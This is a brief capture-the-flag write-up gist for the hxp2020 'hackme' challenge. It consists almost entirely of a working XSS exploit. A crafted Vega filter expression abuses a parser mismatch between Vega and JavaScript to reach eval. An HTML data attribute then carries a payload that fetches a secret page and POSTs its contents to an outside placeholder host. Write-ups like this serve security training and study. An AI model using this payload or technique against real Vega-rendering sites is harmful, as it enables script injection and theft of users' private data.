Skip to content

Instantly share code, notes, and snippets.

@cgvwzq
Created December 20, 2020 16:05
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save cgvwzq/0392d64fe1aed82f65c1648b71df1a37 to your computer and use it in GitHub Desktop.
Save cgvwzq/0392d64fe1aed82f65c1648b71df1a37 to your computer and use it in GitHub Desktop.
Writeup hxp2020 hackme
### Pwn!
```vega
{
"data": {
"values": [{}]
},
"transform": [
{"filter": "(0//1/)-'\\\n,eval(payload.dataset.x))))//'"}
],
"mark": "bar"
}
```
<div id=payload data-x="x:fetch('/s/the-flag').then(_=>_.text()).then(_=>fetch('http://URL/,{method: 'post', withCredentials: false, mode: 'no-cors', body:_}))"></div>
Vega's expression parser divides 0 by a regexp, while JS sees a comment. We exploit the mismatch to XSS when the parsed expression is `eval`ed.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment